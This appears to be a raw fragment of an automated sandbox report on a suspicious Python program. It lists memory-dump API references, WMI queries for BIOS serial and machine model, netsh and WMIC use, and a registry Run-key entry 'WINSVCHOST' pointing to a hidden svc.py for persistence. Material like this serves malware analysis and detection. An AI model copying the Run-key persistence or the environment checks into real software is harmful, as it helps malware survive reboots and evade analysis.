"GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API "29,4348,3121,,CreateToolhelp32Snapshot,kernel32.dll,"00:47:17.281",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API "GetModuleHandle failed" (Indicator: "GetModuleHandle"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp")69:T536,Found string "SELECT Model FROM Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00001520-00002714-1552600281") Found string "SELECT SerialNumber FROM Win32_BIOS" (Indicator: " Win32_BIOS"; Source: "00000000-00001508-00002714-1558098864") Found string "SELECT SerialNumber FROM Win32_BIOS" (Indicator: " Win32_BIOS"; Source: "00000000-00001508.00000000.180396.C80B0000.00000004.mdmp") Found string "elect * from Win32_BIOS" (Indicator: " Win32_BIOS"; Source: "00000000-00001508.00000000.180396.C8210000.00000004.mdmp") Found string "3952083,"SELECT Model FROM Win32_ComputerSystem"" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00001520.00000000.180024.1746D000.00000004.mdmp") Found string "SELECT Model FROM Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00001520.00000000.180024.6A4E2000.00000004.mdmp") Found string "APSELECT MODEL FROM WIN32_COMPUTERSYSTEM" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00001520.00000000.180024.6A4E2000.00000004.mdmp") Found string "elect * from Win32_BIOS" (Indicator: " Win32_BIOS"; Source: "00000000-00004700.00000000.184239.DC4F0000.00000004.mdmp") Found string "select * from Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp")6a:T1b06,Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001164.00000000.183356.04DD0000.00000004.mdmp, 00000000-00001164.00000000.183356.04FB0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001164.00000000.183356.04DD0000.00000004.mdmp, 00000000-00001164.00000000.183356.04FB0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00001164.00000000.183356.04DD0000.00000004.mdmp") Found string "tem32\Drivers\Drive" (Indicator: "\drivers\"; Source: "00000000-00001164.00000000.183356.04DD0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001508.00000000.180396.C80B0000.00000004.mdmp, 00000000-00001508.00000000.180396.C812F000.00000004.mdmp, 00000000-00001508.00000000.180396.C8210000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001508.00000000.180396.C80B0000.00000004.mdmp, 00000000-00001508.00000000.180396.C812F000.00000004.mdmp, 00000000-00001508.00000000.180396.C8210000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\wbem\WMIC.exe" (Indicator: "\Device\"; Source: "00000000-00001508.00000000.180396.C80B0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001520.00000000.180024.6A490000.00000004.mdmp, 00000000-00001520.00000000.180024.6A4CB000.00000004.mdmp, 00000000-00001520.00000000.180024.6A790000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001520.00000000.180024.6A490000.00000004.mdmp, 00000000-00001520.00000000.180024.6A4CB000.00000004.mdmp, 00000000-00001520.00000000.180024.6A790000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\wbem\WMIC.exe" (Indicator: "\Device\"; Source: "00000000-00001520.00000000.180024.6A490000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp, 00000000-00001896.00000000.181826.EDC90000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp, 00000000-00001896.00000000.181826.EDC90000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002060.00000000.180755.95AD0000.00000004.mdmp, 00000000-00002060.00000000.180755.95C90000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002060.00000000.180755.95AD0000.00000004.mdmp, 00000000-00002060.00000000.180755.95C90000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002060.00000000.180755.95AD0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00002060.00000000.180755.95AD0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002664.00000000.181472.875D0000.00000004.mdmp, 00000000-00002664.00000000.181472.87850000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002664.00000000.181472.875D0000.00000004.mdmp, 00000000-00002664.00000000.181472.87850000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002664.00000000.181472.875D0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00002664.00000000.181472.875D0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004364.00000000.182186.BAE50000.00000004.mdmp, 00000000-00004364.00000000.182186.BB0C0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004364.00000000.182186.BAE50000.00000004.mdmp, 00000000-00004364.00000000.182186.BB0C0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004364.00000000.182186.BAE50000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00004364.00000000.182186.BAE50000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004424.00000000.183885.EFC10000.00000004.mdmp, 00000000-00004424.00000000.183885.EFE40000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004424.00000000.183885.EFC10000.00000004.mdmp, 00000000-00004424.00000000.183885.EFE40000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\wbem\WMIC.exe" (Indicator: "\Device\"; Source: "00000000-00004424.00000000.183885.EFC10000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004700.00000000.184239.DC130000.00000004.mdmp, 00000000-00004700.00000000.184239.DC4F0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004700.00000000.184239.DC130000.00000004.mdmp, 00000000-00004700.00000000.184239.DC4F0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\wbem\WMIC.exe" (Indicator: "\Device\"; Source: "00000000-00004700.00000000.184239.DC130000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00005936.00000000.182903.1FF10000.00000004.mdmp, 00000000-00005936.00000000.182903.1FF40000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00005936.00000000.182903.1FF10000.00000004.mdmp, 00000000-00005936.00000000.182903.1FF40000.00000004.mdmp")6b:T13cb,"python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "F6E0F165B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C6AB7588B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "55FACF8BB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "u B") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "39AA9792B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "77BDF695B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "; E") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C420919CB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "FBD1ED9FB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "DFBD45A3B973DD010000000000000000000000000200000000") "python.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "16691EA7B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "EAB289A7B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "5EB3D5AAB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "791135ABB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "190D92ABB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "AE4209ACB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "!*r") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "982ABEAFB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "AC29C869B973DD010000000000000000000000000200000000")6c:T9b2,"python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "python.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")6d:T1bec,"python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "F6E0F165B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C6AB7588B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "55FACF8BB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "u B") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "39AA9792B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "77BDF695B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "; E") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C420919CB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "FBD1ED9FB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "DFBD45A3B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "16691EA7B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "EAB289A7B973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "5EB3D5AAB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "791135ABB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "190D92ABB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "AE4209ACB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "!*r") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "982ABEAFB973DD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "AC29C869B973DD010000000000000000000000000200000000") "WMIC.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT\SETTINGS\TELEMETRY\WMIC.EXE"; Key: "VBSCRIPTSETSCRIPTSTATESTARTED"; Value: "DC4E3C000000000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "C092958FB973DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: ":��") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "136B4596B973DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "7B6B9199B973DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "CB57E99CB973DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "FA4341A0B973DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "2E3099A3B973DD010000000000000000000000000200000000") "reg.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "WINSVCHOST"; Value: "'%APPDATA%\Microsoft\Windows\Caches\svc.py'")6e:T92e,"werkzeug-3.1.9-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-7vhp9gqk\werkzeug-3.1.9-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-h757qty4\METADATA]- [targetUID: 00000000-00008020] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-rs82_m71\METADATA]- [targetUID: 00000000-00008020] "pyasn1-0.6.5-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-s0nss2xc\pyasn1-0.6.5-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmpzmd_di8t" has type "Python script ASCII text executable"- Location: [%TEMP%\tmpzmd_di8t]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: 